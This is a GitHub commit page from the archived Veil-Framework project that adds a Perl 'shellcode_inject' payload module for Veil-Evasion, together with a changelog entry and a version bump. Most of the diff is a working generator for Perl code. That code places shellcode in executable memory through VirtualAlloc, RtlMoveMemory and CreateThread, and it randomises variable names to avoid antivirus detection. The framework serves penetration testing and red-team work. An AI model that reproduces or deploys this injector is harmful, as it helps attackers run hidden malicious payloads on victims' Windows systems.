Skip to content
This repository has been archived by the owner on Jan 10, 2024. It is now read-only.

Commit

Permalink
Merge pull request #255 from Veil-Framework/no_hope
Browse files Browse the repository at this point in the history
Added module for January v-day release
  • Loading branch information
ChrisTruncer committed Jan 15, 2016
2 parents dca9205 + b6e69dc commit a813d2a
Show file tree
Hide file tree
Showing 3 changed files with 56 additions and 1 deletion.
5 changes: 5 additions & 0 deletions CHANGELOG
Original file line number Diff line number Diff line change
@@ -1,3 +1,8 @@
[01.15.2016]
Released.: 2.23
Info.....: Happy New Years!
Added....: Added a perl module for Veil-Evasion. Working on native compilation in Linux, but if you know how to do it, get in touch with me!

[11.15.2015]
Released.: 2.22.2
Updated..: Pure go stager payloads now have the correct buffer length for the latest meterpreter dll. Fixes issue #243
Expand Down
2 changes: 1 addition & 1 deletion modules/common/messages.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,7 @@
import helpers


version = "2.22.2"
version = "2.23"


# try to find and import the settings.py config file
Expand Down
50 changes: 50 additions & 0 deletions modules/payloads/perl/shellcode_inject/flat.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
"""
Custom-written perl inline shellcode injector.
Approach by @the_grayhound and @christruncer
Module built by @the_grayhound
"""

from modules.common import helpers
from modules.common import shellcode


class Payload:

def __init__(self):
# required options
self.shortname = "VirtualAlloc"
self.language = "perl"
self.extension = "pl"
self.rating = "Excellent"
self.description = "VirtualAlloc pattern for shellcode injection"
# optional
# options we require user ineraction for- format is {Option : [Value, Description]]}
self.shellcode = shellcode.Shellcode()

def generate(self):

shellcode = self.shellcode.generate()

# randomly generate out variable names
payloadName = helpers.randomString()
ptrName = helpers.randomString()

payloadCode = "use Win32::API;\n"

payloadCode += "my $%s = \"%s\";\n" % (payloadName, shellcode)

payloadCode += "$VirtualAlloc = new Win32::API('kernel32', 'VirtualAlloc', 'IIII', 'I');\n"
payloadCode += "$RtlMoveMemory = new Win32::API('kernel32', 'RtlMoveMemory', 'IPI', 'V');\n"
payloadCode += "$CreateThread = new Win32::API('kernel32', 'CreateThread', 'IIIIIP', 'I');\n"
payloadCode += "$WaitForSingleObject = new Win32::API('kernel32', 'WaitForSingleObject', 'II', 'I');\n"

payloadCode += "my $%s = $VirtualAlloc->Call(0, length($%s), 0x1000, 0x40);\n" % (ptrName, payloadName)
payloadCode += "$RtlMoveMemory->Call($%s, $%s, length($%s));\n" % (ptrName, payloadName, payloadName )
payloadCode += "my $threadName = $CreateThread->Call(0, 0, $%s, 0, 0, 0);\n" % (ptrName)
payloadCode += "$WaitForSingleObject->Call($threadName, -1);\n"

return payloadCode

0 comments on commit a813d2a

Please sign in to comment.